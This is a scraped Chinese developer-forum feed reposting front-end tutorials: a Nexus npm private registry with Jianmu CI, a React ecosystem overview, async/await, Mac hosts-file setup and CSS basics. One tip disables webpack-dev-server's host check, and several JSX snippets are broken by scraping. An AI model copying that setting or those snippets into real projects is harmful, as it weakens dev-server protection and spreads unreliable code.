        '        return callHook$1(rootVueVM, \'onShareAppMessage\', options);\n' +
        '      } : null,\n' +
        '\n' +
        '    // 用户点击右上角分享\n' +
        '    onShareTimeline: App.onShareTimeline ?\n' +
        '      function (options) {\n' +
        '        var rootVueVM = getRootVueVm(this);\n' +
        '        return callHook$1(rootVueVM, \'onShareTimeline\', options);\n' +
        '      } : null,')
      return res
    }
    console.log(chalk.green(
      '  Tip: fix mpvue_share Success!'
    ))


    原文链接：https://blog.csdn.net/weixin_41961749/article/details/107402802


    收起阅读 »
    马师傅 发表于 : 2022-06-16 10:53 评论 (0) 分享

    还不知道npm私服？一篇教会你搭建私服并发布vue3组件库到nexus

    npm web
    日常工作时，出于保密性、开发便捷性等需求，或者是还在内部测试阶段，我们可能需要将vue3组件库部署到公司的nexus中。我们可能希望部署vue3组件库的操作是CI/CD中的一环。节点：npm发布依赖包安装建木CI，参考建木快速开始安装nexus搭建npm私服，...
    继续阅读 »

    介绍

    日常工作时，出于保密性、开发便捷性等需求，或者是还在内部测试阶段，我们可能需要将vue3组件库部署到公司的nexus中。我们可能希望部署vue3组件库的操作是CI/CD中的一环。

    现在建木CI有了自动发布构件的官方npm节点，这一切都将变得非常简单。

    节点：npm发布依赖包

    准备工作

    • 安装建木CI，参考建木快速开始

    • 安装nexus搭建npm私服，创建用户、开启token验证、生成token

    1. 安装sonatype nexus

    # docker search nexus 搜索nexus 下载量最高的那个sonatype/nexus3
    docker search nexus

    # 从docker hub中将sonatype nexus拉取下来
    docker pull sonatype/nexus3

    # 启动sonatype nexus并使其监听8081端口
    docker run -d -p 8081:8081 --name nexus sonatype/nexus3
    复制代码

    访问搭建的nexus，可以看到如下界面，那么nexus搭建成功


    接下来，需要登录管理员(第一次登录会提供密码，然后要求改密码)，创建Blob Stores的数据池地址，供后面仓库选择


    创建我们的私有npm库，需要注意的是我们要创建三个仓库(仓库名有辨识即可)

    • group见名知意，是一个仓库组，包含多个具体的仓库(proxy、hosted)

    • hosted本地仓库，就是我们内部发布包的地址

    • proxy代理仓库，会去同步代理仓库的npm包(即下载本地仓库没有的包时，会去代理仓库下载，代理仓库可设置为官方仓库)


    创建proxy仓库，需要设置一些值


    创建hosted仓库，需要设置一些值


    创建group仓库，选择我们之前创建的两个仓库


    大功告成！查看这个hosted类型的地址，建木CI流程编排需要这个地址作为参数


    还需要私服的token，需要先创建一个账户，用于本地生成token


    开启nexus的用户token权限验证


    需要本地设置hosted类型仓库地址，npm config set registry http://xxx:8081/xxx/npm_hosted 然后npm login获取token


    添加token到建木的密钥，先创建命名空间npm，在该空间下创建账户的密钥wllgogogo_token


    2. 挑选节点

    建木CI是一个节点编排工具，那么我们需要挑选合适的节点完成一系列的业务操作

    git clone节点

    使用git clone节点，将我们需要部署的前端npm包项目从远程仓库上拉取下来。git clone节点的版本，我们选择1.2.3版本

    如下图：访问建木Hub可以查看节点详细信息，比如，git clone节点的参数，源码，版本说明等信息


    nodejs构建节点

    使用nodejs构建节点，会将我们clone下来的项目进行build构建，本文我们将用到1.4.0-16.13.0版本

    如下图查看此节点的详细信息：


    发布npm依赖包节点

    使用发布npm依赖包节点，会将我们build后的项目发布到公服或私服，从1.1.0-16.15.0版本开始支持私服的发布

    如下图查看此节点的详细信息：


    3. 编排流程

    节点选好了，得把它们编排在一起，目前建木CI提供了两种方式来编排节点:

    1. 使用建木CI的DSL来编排节点

    2. 使用建木CI图形化编排功能来编排节点

    此次我们使用图形化编排功能编辑此测试流程（ps：图形化编排是建木CI 2.4.0推出的重磅级功能，详见「v2.4」千呼万唤的图形化编排，来了！）

    首先编辑项目信息


    从左边抽屉中将所需的三个节点拖拽出来


    填充节点参数

    填充参数之前，将三个节点连起来，如图：这个箭头可以完成的功能有：

    • 定义流程运行先后顺序

    • 将上游节点的输出参数输出到下游节点，这里的git clone节点输出参数将被输出到后续所有节点


    点击节点图标开始填充参数

    • git clone节点

      这里我们配置一个需要部署的 npm包 项目的 git 地址，选择1.2.3版本，改名git_clone


    • nodejs构建 节点

      同样配置此节点的必需参数

      1.节点版本：nodejs构建节点的版本选择 1.4.0-16.13.0
       2.工作目录：需要build的项目路径
       3.registry url：给包管理工具设置镜像，一般设置淘宝镜像registry.npmmirror.com/
       4.包管理器类型：根据具体项目情况来选择包管理器，这个项目构建用的是pnpm
       5.项目package.json文件目录相对路径：package.json目录相对地址，读取name和version


      nodejs构建节点的工作目录参数引用了git_clone节点的输出参数（git_clone作为上游节点将它的输出参数作为nodejs构建的输入参数传递给nodejs构建节点），下图演示了下游节点如何选择上游节点的输出参数作为自己的输入参数


    • 发布npm依赖包 节点

      1.节点版本：选择 1.1.0-16.15.0
       2.工作目录：发布包目录
       3.镜像仓库：前面准备工作nexus创建的npm本地仓库地址
       4.token令牌：前面准备工作nexus创建的用户，在本地设置hosted地址后，执行npm login生成的token


    发布 npm包 构件到 nexus

    启动流程

    如下图启动流程


    流程运行中


    流程运行成功


    查看每个节点的运行日志

    git clone节点：


    nodejs构建节点


    发布npm依赖包节点


    在nexus中查看部署的npm依赖包


    至此，我们已经使用建木CI成功将npm依赖包部署到了nexus上！


    作者：Jianmu
    来源：juejin.cn/post/7109026865259479076

    收起阅读 »
    上帝之眼 发表于 : 2022-06-15 08:50 评论 (0) 分享

    2022 年的 React 生态

    react
    今天的文章，我们将从状态管理、样式和动画、路由、代码风格等多个方面来看看 React 最新的生态，希望你以后在做技术选型的时候能够有所帮助。Next.js 可以支持你生成静态站点，而 Gatsby.js 也支持了服务端渲染。不过就我个人的使用体验而言，我会觉得...
    继续阅读 »

    今天我们来聊 React，React 已经风靡前端届很长一段时间了，在这段时间里它发展了一个非常全面而强大的生态系统。大厂喜欢在大型的前端项目中选择 React，它的生态功不可没。

    今天的文章，我们将从状态管理、样式和动画、路由、代码风格等多个方面来看看 React 最新的生态，希望你以后在做技术选型的时候能够有所帮助。

    创建 React 项目


    对于大多数 React 初学者来说，在刚刚开始学习 React 时如何配置一个 React 项目往往都会感到迷惑，可以选择的框架有很多。React 社区中大多数会给推荐 Facebook 的 create-react-app (CRA)。它基本上零配置，为你提供开箱即用的简约启动和运行 React 应用程序。


    但现在来看，CRA 使用的工具过时了 — 从而导致我们的开发体验变慢。Vite 是近期最受欢迎的打包库之一，它具有令人难以置信的开发和生产速度，而且也提供了一些模板（例如 React、React + TypeScript）可以选择。


    如果你已很经熟悉 React 了，你可以选择它最流行的框架之一作为替代：Next.js 和 Gatsby.js。这两个框架都基于 React 建立，因此你应该至少熟悉了 React 的基础知识再去使用。这个领域另一个流行的新兴框架是 Remix，它在 2022 年绝对值得一试。


    虽然 Next.js 最初是用来做服务端渲染的，而 Gatsby.js 主要用来做静态站点生成（例如博客和登录页面等静态网站）。然而，在过去几年里，这两个框架之间一直在互相卷...

    Next.js 可以支持你生成静态站点，而 Gatsby.js 也支持了服务端渲染。不过就我个人的使用体验而言，我会觉得 Next.js 更好用一点。

    如果你只想了解一下 create-react-app 这些工具在后台的工作原理，建议尝试一下自己从头开始配置一个 React 项目。从一个简单的 HTML JavaScript 项目开始，并自己添加 React 及其支持工具（例如 Webpack、Babel）。这并不是你在日常工作中必须要做的事情，但这是了解底层工具实现原理的一个很好的方式。

    建议：

    • 优先使用 Vite创建 React客户端应用

      • CRA 备选

    • 优先使用 Next.js 创建 React服务端渲染应用

      • 最新技术：Remix

      • 仅创建静态站点备选 Gatsby.js

    • 可选的学习经验：从0自己搭建一个 React 应用。

    链接：

    阅读：

    状态管理


    React 带有两个内置的 Hooks 来管理本地状态：useState 和 useReducer。如果需要全局状态管理，可以选择加入 React 内置的 useContext Hook 来将 props 从顶层组件传递到底层组件，从而避免 props 多层透传的问题。这三个 Hooks 足以让你实现一个强大的状态管理系统了。

    如果你发现自己过于频繁地使用 React 的 Context 来处理共享/全局状态，你一定要看看 Redux，它是现在最流行的状态管理库。它允许你管理应用程序的全局状态，任何连接到其全局存储的 React 组件都可以读取和修改这些状态。


    如果你碰巧在用 Redux，你一定也应该查看 Redux Toolkit。它是基于 Redux 的一个很棒的 API，极大地改善了开发者使用 Redux 的体验。

    作为替代方案，如果你喜欢用全局存储的思想管理状态，但不喜欢 Redux 的处理方式，可以看看其他流行的本地状态管理解决方案，例如 Zusand、Jotai、XState 或 Recoil 。

    另外，如果你想拥有和 Vue.js 一样的开发体验，建议看看 Mobx 。

    建议：

    • 用 useState/useReducer 处理共享状态

    • 选择性使用 useContext 管理某些全局状态

    • 用 Redux(或另一种选择) 管理全局状态

    链接：

    阅读：

    远程数据请求


    React 的内置 Hooks 非常适合 UI 状态管理，但当涉及到远程数据的状态管理（也包括数据获取）时，我建议使用一个专门的数据获取库，例如 React Query，它自带内置的状态管理功能。虽然 React Query 本身的定位并不是一个状态管理库，它主要用于从 API 获取远程数据，但它会为你处理这些远程数据的所有状态管理(例如缓存，批量更新)。


    React Query 最初是为使用 REST API 而设计的，但是现在它也支持了 GraphQL。然而如果你正在为你的 React 项目寻找专门的 GraphQL 库，我还是推荐你去看看 Apollo Client（当前最流行的）、urql（轻量级）或 Relay（Facebook 维护）。

    如果你已经在使用 Redux，并且想要在 Redux 中添加集成状态管理的数据请求功能，建议你看看 RTK Query，它将数据请求的功能更巧妙的集成到 Redux 中。

    建议：

    • React Query（REST API、GraphQL API 都有）

    • Apollo Client（只有 GraphQL API）

    • 可选的学习经验：了解 React Query 的工作原理

    链接：

    阅读：

    路由


    如果你使用的是像 Next.js 或 Gatsby.js 这样的 React 框架，那么路由已经为你处理好了。但是，如果你在没有框架的情况下使用 React 并且仅用于客户端渲染（例如 CRA），那么现在最强大和流行的路由库是 React Router。

    链接：

    阅读：

    样式/CSS

    在 React 中有很多关于 样式/CSS 的选项和意见，作为一个 React 初学者，可以使用一个带有所有 CSS 属性的样式对象作为 HTML 样式属性的键/值对，从内联样式和基本的 CSS 开始就可以。

    const ConardLi = ({ title }) =>
      <h1 style={{ color: 'blue' }}>
        {title}
      h1>

    内联样式可以在 React 中通过 JavaScript 动态添加样式，而外部 CSS 文件可以包含 React 应用的所有剩余样式：

    import './Headline.css';

    const ConardLi = ({ title }) =>
      <h1 className="ConardLi" style={{ color: 'blue' }}>
        {title}
      h1>

    如果你的应用越来越大了，建议再看看其他选项。首先，我建议你将 CSS Module 作为众多 CSS-in-CSS 解决方案的首选。CRA 支持 CSS Module ，并为提供了一种将 CSS 封装到组件范围内的模块的方法。这样，它就不会意外泄露到其他 React 组件的样式中。你的应用的某些部分仍然可以共享样式，但其他部分不必访问它。在 React 中， CSS Module 通常是将 CSS 文件放在 React 组件文件中：

    import styles from './style.module.css';

    const ConardLi = ({ title }) =>
      <h1 className={styles.headline}>
        {title}
      h1>


    其次，我想向你推荐所谓的 styled components ，作为 React 的众多 CSS-in-JS 解决方案之一。它通过一个名为 styles-components(或者其他例如 emotion 、stitches)的库来实现的，它一般将样式放在 React 组件的旁边：

    import styled from 'styled-components';

    const BlueHeadline = styled.h1`
      color: blue;
    `;

    const ConardLi = ({ title }) =>
      <BlueHeadline>
        {title}
      BlueHeadline>


    第三，我想推荐 Tailwind CSS 作为最流行的 Utility-First-CSS 解决方案。它提供了预定义的 CSS 类，你可以在 React 组件中使用它们，而不用自己定义。这可以提升一些效率，并与你的 React 程序的设计系统保持一致，但同时也需要了解所有的类：

    const ConardLi = ({ title }) =>
      <h1 className="text-blue-700">
        {title}
      h1>

    使用 CSS-in-CSS、CSS-in-js 还是函数式 CSS 由你自己决定。所有的方案在大型 React 应用中都适用。最后一点提示：如果你想在 React 中有条件地应用一个 className，可以使用像 clsx 这样的工具。

    建议：

    • CSS-in-CSS 方案： CSS Modules

    • CSS-in-JS

      方案： Styled Components（目前最受欢迎）

      • 备选： Emotion 或 Stitches

    • 函数式 CSS：Tailwind CSS

    • 备选：CSS 类的条件渲染：clsx

    链接：

    阅读：

    组件库

    对于初学者来说，从零开始构建可复用的组件是一个很好的学习经验，值得推荐。无论它是 dropdown、radio button 还是 checkbox ，你最终都应该知道如何创建这些UI组件组件。


    然而，在某些时候，你想要使用一个UI组件库，它可以让你访问许多共享一套设计系统的预构建组件。以下所有的UI组件库都带有基本组件，如 Buttons、Dropdowns、Dialogs 和 Lists：

    尽管所有这些UI组件库都带有许多内部组件，但它们不能让每个组件都像只专注于一个UI组件的库那样强大。例如 react-table-library 提供了非常强大的表格组件，同时提供了主题（例如 Material UI），可以很好的和流行的UI组件库兼容。

    阅读：

    动画库


    Web 应用中的大多数动画都是从 CSS 开始的。最终你会发现 CSS 动画不能满足你所有的需求。通常开发者会选择 React Transition Group，这样他们就可以使用 React组件来执行动画了，React 的其他知名动画库有：

    可视化图表


    如果你真的想要自己从头开始开发一些图表，那么就没有办法绕过 D3 。这是一个很底层的可视化库，可以为你提供开发一些炫酷的图表所需的一切。然而，学习 D3 是很有难度的，因此许多开发者只是选择一个 React 图表库，这些库默认封装了很多能力，但是缺失了一些灵活性。以下是一些流行的解决方案:

    表单


    React 现在最受欢迎的表单库是 React Hook Form 。它提供了从验证（一般会集成 yup 和 zod）到提交到表单状态管理所需的一切。之前流行的另一种方式是 Formik。两者都是不错的解决方案。这个领域的另一个选择是 React Final Form 。毕竟，如果你已经在使用 React UI组件库了，你还可以查看他们的内置表单解决方案。

    建议：

    • React Hook Form

      • 集成 yup 或 zod 进行表单验证

    • 如果已经在使用组件库了，看看内置的表单能不能满足需求

    链接：

    阅读：

    类型检查

    React 带有一个名为 PropTypes 的内部类型检查。通过使用 PropTypes，你可以为你的 React 组件定义 props。每当将类型错误的 prop 传递给组件时，你可以在运行时收到错误消息：

    import PropTypes from 'prop-types';

    const List = ({ list }) =>
      <div>
        {list.map(item => <div key={item.id}>{item.title}div>)}
      div>

    List.propTypes = {
      list: PropTypes.array.isRequired,
    };


    在过去的几年里，PropTypes 已经不那么流行了，PropTypes 也已经不再包含在 React 核心库中了，现在 TypeScript 才是最佳的选择：

    type Item = {
      id: string;
      title: string;
    };

    type ListProps = {
      list: Item[];
    };

    const List: React.FC<ListProps> = ({ list }) =>
      <div>
        {list.map(item => <div key={item.id}>{item.title}div>)}
      div>

    阅读：

    代码风格


    对于代码风格，基本上有两种方案可以选择：

    如果你想要一种统一的、通用的代码风格，在你的 React 项目中使用 ESLint 。像 ESLint 这样的 linter 会在你的 React 项目中强制执行特定的代码风格。例如，你可以在 ESLint 中要求遵循一个流行的风格指南(如 Airbnb 风格指南)。之后，将 ESLint 与你的IDE/编辑器集成，它会指出你的每一个错误。

    如果你想采用统一的代码格式，可以在 React 项目中使用 Prettier。它是一个比较固执的代码格式化器，可选择的配置很少。你也可以将它集成到编辑器或IDE中，以便在每次保存文件的时候自动对代码进行格式化。虽然 Prettier 不能取代 ESLint，但它可以很好地与 ESLint 集成。

    建议：

    阅读：

    身份认证


    在 React 应用程序中，你可能希望引入带有注册、登录和退出等功能的身份验证。通常还需要一些其他功能，例如密码重置和密码更改功能。这些能力远远超出了 React 的范畴，我们通常会把它们交给服务端去管理。

    最好的学习经验是自己实现一个带有身份验证的服务端应用(例如 GraphQL 后端)。然而，由于身份验证有很多安全风险，而且并不是所有人都了解其中的细节，我建议使用现有的众多身份验证解决方案中的一种：

    阅读：

    测试

    现在最常见的 React 测试方案还是 Jest，它基本上提供了一个全面的测试框架所需要的一切。

    你可以使用 react-test-renderer 在你的 Jest 测试中渲染 React 组件。这已经足以使用 Jest 执行所谓的 Snapshot Tests 了：一旦运行测试，就会创建 React 组件中渲染的 DOM 元素的快照。当你在某个时间点再次运行测试时，将创建另一个快照，这个快照会和前一个快照进行 diff。如果存在差异，Jest 将发出警告，你要么接受这个快照，要么更改一下组件的实现。

    最近 React Testing Library (RTL) 也比较流行（在 Jest 测试环境中使用），它可以为 React 提供更精细的测试。RTL 支持让渲染组件模拟 HTML 元素上的事件成，配合 Jest 进行 DOM 节点的断言。

    如果你正在寻找用于 React 端到端 (E2E) 测试的测试工具，Cypress 是现在最受欢迎的选择。

    阅读：

    数据结构


    Vanilla JavaScript 为你提供了大量内置工具来处理数据结构，就好像它们是不可变的一样。但是，如果你觉得需要强制执行不可变数据结构，那么最受欢迎的选择之一是 Immer 。我个人没用过它，因为 JavaScript 本身就可以用于管理不可变的数据结构，但是如果有人专门问到 JS 的不可变性，有人会推荐它。

    链接：

    阅读：

    国际化


    当涉及到 React 应用程序的国际化 i18n 时，你不仅需要考虑翻译，还需要考虑复数、日期和货币的格式以及其他一些事情。这些是处理国际化的最流行的库：

    富文本编辑


    React 中的富文本编辑器，就简单推荐下面几个，我也没太多用过：

    时间处理


    近年来，JavaScript 本身在处理日期和时间方面做了很多优化和努力，所以一般没必要使用专门的库来处理它们。但是，如果你的 React 应用程序需要大量处理日期、时间和时区，你可以引入一个库来为你管理这些事情：

    客户端


    Electron 是现在跨平台桌面应用程序的首选框架。但是，也存在一些替代方案：

    阅读：

    移动端


    将 React 从 Web 带到移动设备的首选解决方案仍然是 React Native。

    阅读：

    VR/AR


    通过 React，我们也可以深入研究虚拟现实或增强现实。老实说，这些库我还都没用过，但它们是我在 React 中所熟悉的 AR/VR 库：

    原型设计


    如果你是一名 UI/UX 设计师，你可能希望使用一种工具来为新的 React 组件、布局或 UI/UX 概念进行快速原型设计。我之前用的是 Sketch ，现在改用了 Figma 。尽管我两者都喜欢，但我还是更喜欢 Figma。Zeplin 是另一种选择。对于一些简单的草图，我喜欢使用 Excalidraw。如果你正在寻找交互式 UI/UX 设计，可以看看 InVision。

    文档


    我在很多项目里都在使用 Storybook 作为文档工具，不过也有一些其他好的方案：

    最后

    参考：http://www.robinwieruch.de/react-libra…

    本文完，欢迎大家补充。


    作者：ConardLi
    来源：juejin.cn/post/7085542534943883301

    收起阅读 »
    上帝之眼 发表于 : 2022-06-14 09:27 评论 (0) 分享

    关于 async/await 你应该认真对待下

    web
    深入理解 async/await一个语法糖 是异步操作更简单返回值 返回值是一个 promise 对象return 的值是 promise resolved 时候的 valueThrow 的值是 Promise rejected 时候的 reasonasync...
    继续阅读 »

    无论是在项目还是在面试过程中，总还是会有那么一小部分同学，没有学会使用 async/await ，今天就特地整理了几个代码段，并以此文进行提醒大家常用的技术点还是要会的，不单单只是应对面试需要，在日常工作中使用，也会提升你的效率及代码质量的，不必每次都使用 .then 进行处理，错误输出可以写个公共方法，统一处理。⛽️ 加油,共勉！！！ 无论是在项目还是在面试过程中，总还是会有那么一小部分同学，没有学会使用 async/await ，今天就特地整理下并提醒大家常用的技术点还是要会的，不单是为了应对面试需要，日常工作中也是有利无害的

    深入理解 async/await

    async 函数

    • 一个语法糖 是异步操作更简单

    • 返回值 返回值是一个 promise 对象

      • return 的值是 promise resolved 时候的 value

      • Throw 的值是 Promise rejected 时候的 reason

    async function test() {
      return true
    }
    const p = test()
    console.log(p) // 打印出一个promise，状态是resolved，value是true

    //  Promise {: true}
    //   [[Prototype]]: Promise
    //   [[PromiseState]]: "fulfilled"
    //   [[PromiseResult]]: true

    p.then((data) => {
      console.log(data) // true
    })
    async function test() {
      throw new Error('error')
    }
    const p = test()
    console.log(p) // 打印出一个promise，状态是rejected，value是error
    p.then((data) => {
      console.log(data) //打印出的promise的reason 是error
    })

    可以看出 async 函数的返回值是一个 promise

    await 函数

    • 只能出现在 async 函数内部或最外层

    • 等待一个 promise 对象的值

    • await 的 promise 的状态为 rejected，后续执行中断

    await 可以 await promise 和非 promsie，如果非 primse，例如：await 1 就返回 1


    await 为等待 promise 的状态是 resolved 的情况

    async function async1() {
      console.log('async1 start')
      await async2() // await为等待promise的状态，然后把值拿到
      console.log('async1 end')
    }
    async function async2() {
      return Promsie.resolve().then(_ => {
        console.log('async2 promise')
      })
    }
    async1()
    /*
    打印结果
    async1 start
    async2 promise
    async1 end
    */

    await 为等待 promise 的状态是 rejected 的情况

    async function f() {
      await Promise.reject('error')
      //后续代码不会执行
      console.log(1)
      await 100
    }

    // 解决方案1
    async function f() {
      await Promise.reject('error').catch(err => {
        // 异常处理
      })
      console.log(1)
      await 100
    }

    // 解决方案2
    async function f() {
      try {
        await Promise.reject('error')
      } catch (e) {
        // 异常处理
      } finally {
      }
      console.log(1)
      await 100
    }

    async 函数实现原理

    实现原理：Generator+自动执行器

    async 函数是 Generator 和 Promise 的语法糖

    应用

    用 async 函数方案读取文件

    const fs = require('fs')
     
    async function readFilesByAsync() {
      const files = [
        '/Users/xxx/Desktop/Web/1.json',
        '/Users/xxx/Desktop/Web/2.json',
        '/Users/xxx/Desktop/Web/3.json'
      ]
      const readFile = function(src) {
        return new Promise((resolve, reject) => {
          fs.readFile(src, (err, data) => {
            if (err) reject(err)
            resolve(data)
          })
        })
      }

      const str0 = await readFile(files[0])
      console.log(str0.toString())
      const str1 = await readFile(files[1])
      console.log(str1.toString())
      const str2 = await readFile(files[2])
      console.log(str2.toString())
    }

    作者：Gaby
    来源：juejin.cn/post/7108362437706907685

    收起阅读 »
    上帝之眼 发表于 : 2022-06-13 09:00 评论 (0) 分享

    Mac修改hosts,域名与ip绑定,vue Invalid Host header

    vue 调试
    在移动开发过程中，有时候需要使用域名进行访问（如微信网页开发）本地ip地址服务，或者使用域名访问本地ip地址服务等。这时候可以修改host进行实现。1. 修改host文件在命令终端，使用root用户修改host文件。域名使用root用户打开/etc/hosts...
    继续阅读 »

    在移动开发过程中，有时候需要使用域名进行访问（如微信网页开发）本地ip地址服务，或者使用域名访问本地ip地址服务等。

    这时候可以修改host进行实现。

    1. 修改host文件

    在命令终端，使用root用户修改host文件。域名使用root用户打开/etc/hosts host文件进行修改。添加
    ip及对应的域名

    $ sudo vi /etc/hosts
    127.0.0.1       localhost
    
127.0.0.1       zhangguoyedeMacBook-Pro.local
    
255.255.255.255 broadcasthost
    
::1             localhost
    
::1             zhangguoyedeMacBook-Pro.local
    

    
# 在这里添加上ip及对应的域名并保存退出
    
#（这里假设你设置的是本机ip是 127.0.0.1 访问域名是 guoye.com）
    
127.0.0.1    guoye.com

    2. 通过域名访问项目

    现在可以在浏览器上访问你设置的域名guoye.com，跟直接通过ip访问127.0.0.1的内容是一致的。
    通常你的项目会加上端口号，域名也需要加上端口号，如http://guoye.com:4201

    3. vue (Invalid Host header)

    在vue项目开发时，直接通过ip地址访问正常，但通过上面host域名方式访问，浏览器会显示一段文字：Invalid Host header。
    这是由于新版webpack-dev-server出于安全考虑，默认检查hostname，如果hostname 没有配置在内的，将中断访问。

    解决方法：
    在vue.config.js的devServer配置文件加上 disableHostCheck: true

    devServer: {
    
    port: 4201, // 端口配置
    
    proxy: {
    
        // 代理配置
    
    },
    
    disableHostCheck: true, // 这是由于新版的webpack-dev-server出于安全考虑，默认检查hostname，如果hostname 不是配置内的，将中断访问。
    
}

    4. 手机端也通过域名进行访问

    移动开发时，可以使用Charles软件进行代理。
    此时手机端也能通过域名访问本机电脑的应用。

    原文：https://segmentfault.com/a/1190000023077264

    收起阅读 »
    马师傅 发表于 : 2022-06-09 19:08 评论 (0) 分享

    web网页基础知识

    HTML5
    浮动元素重叠1、行内元素与浮动元素发生重叠，边框、背景、内容都会显示在浮动元素之上2、块级元素与浮动元素发生重叠，边框、背景会显示在浮动元素之下，内容会显示在浮动元素之上3、若不浮动的是块级元素，那么浮动的元素将显示在其上方4、若不浮动的是行内元素或者行内块元...
    继续阅读 »

    浮动元素重叠
    1、行内元素与浮动元素发生重叠，边框、背景、内容都会显示在浮动元素之上
    2、块级元素与浮动元素发生重叠，边框、背景会显示在浮动元素之下，内容会显示在浮动元素之上
    3、若不浮动的是块级元素，那么浮动的元素将显示在其上方
    4、若不浮动的是行内元素或者行内块元素，那么浮动的元素不会覆盖它，而是将其挤往左方、、

    表单里面enctype 属性的默认值是“application/x-www-form-urlencoded”，



    Boolean.FALSE与new Boolean(false)的区别

    因为Boolean的 构造函数Boolean(String s) 参数只有为" true "(忽略大小写,比如TRUE,tRue都行)时候才是创建为真的Boolean值。其他情况都为假

    　JavaScript的其他数据类型都可以转换成Boolean类型，注意！！！只有这几种类型会转换为false

    undefined
    null
    0
    -0
    NaN
    "" (空字符串)

    　　其他的都会转换为true。空对象{}，空数组[] ， 负数 ，false的对象包装等

    　　重点，new Boolean(false)是布尔值的包装对象 typeof (new Boolean(false)) // 'object' ,所以 转换为boolean是true，而不是false

    内联元素是不可以控制宽和高、margin等；并且在同一行显示，不换行。
    块级元素时可以控制宽和高、margin等，并且会换行。
    行内元素不可以设置宽高，但是可以设置 左右padding、左右margin
    1. inline ： 使用此属性后，元素会被显示为内联元素，元素则不会换行
    inline是行内元素，同行可以显示，像span、font、em、b这些默认都是行内元素，不会换行，无法设置宽度、高度、margin、border
    2. block ： 使用此属性后，元素会被现实为块级元素，元素会进行换行。
    block，块元素，div、p、ul、li等这些默认都是块元素，会换行，除非设置float
    3. inline-block ： 是使元素以块级元素的形式呈现在行内。意思就是说，让这个元素显示在同一行不换行，但是又可以控制高度和宽度，这相当于内敛元素的增强。(IE6不支持)
    inline-block，可以同行显示的block，想input、img这些默认就是inline-block，出了可以同行显示，其他基本block一样
    一.h1~h6标签：有默认margin（top,bottom且相同）值，没有默认padding值。

    在chrome中：16,15,14,16,17,19;

    在firefox中：16,15,14,16,17,20;

    在safari中：16,15,14,16,17,19;

    在opera中：16,15,14,14,17,21;

    在maxthon中：16,14,14,15,16,18;

    在IE6.0中：都是19；

    在IE7.0中：都是19；

    在IE8.0中：16,15,14,16,17,19;
    二.dl标签：有默认margin（top,bottom且相同）值，没有默认padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中：margin:12px 0px;

    在IE6.0,7.0中：margin:19px 0px;

    dd标签有默认margin-left：40px;(在所有上述浏览器中)。
    三.ol,ul标签：有默认margin-（top,bottom且相同）值，有默认padding-left值

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中：margin:12px 0px;

    在IE6.0,7.0中：margin:19px 0px;

    默认padding-left值：在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中都是padding-left：40px;在IE6.0,7.0中没有默认padding值，因为ol,ul标签的边框不包含序号。
    四.table标签没有默认的margin,padding值；th,td标签没有默认的margin值，有默认的padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon中：padding：1px;

    在IE8.0中：padding：0px 1px 1px;

    在IE7.0中：padding：0px 1px；

    相同内容th的宽度要比td宽，因为th字体有加粗效果。
    五.form标签在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中没有默认的margin,padding值，但在IE6.0,7.0中有默认的margin：19px 0px;
    六.p标签有默认margin(top,bottom)值,没有默认padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中：margin:12px 0px;

    在IE6.0,7.0中：margin:19px 0px;
    七.textarea标签在上述所有浏览器中：margin:2px；padding:2px；
    八.select标签在Chrome,Safari,Maxthon中有默认的margin：2px；在Opera,Firefox,IE6.0,7.0,8.0没有默认的margin值。

    option标签只有在firefox中有默认的padding-left：3px；

    ###属性继承

    1. 不可继承的：display、margin、border、padding、background、height、min-height、max-height、width、min-width、max-width、overflow、position、left、right、top、bottom、z-index、float、clear、table-layout、vertical-align、page-break-after、page-bread-before和unicode-bidi。
    2. 所有元素可继承：visibility和cursor。
    3. 内联元素可继承：letter-spacing、word-spacing、white-space、line-height、color、font、font-family、font-size、font-style、font-variant、font-weight、text-decoration、text-transform、direction。
    4. 终端块状元素可继承：text-indent和text-align。
    5. 列表元素可继承：list-style、list-style-type、list-style-position、list-style-image。

    收起阅读 »
    环Sir 发表于 : 2022-06-09 14:46 评论 (0) 分享

    一个开放、互助、协作、创意的社区

    关于imGeek
    关于专职工程师值守
    社区财富榜
    赞助商
    友情链接
    热门标签
    京ICP备2023000793号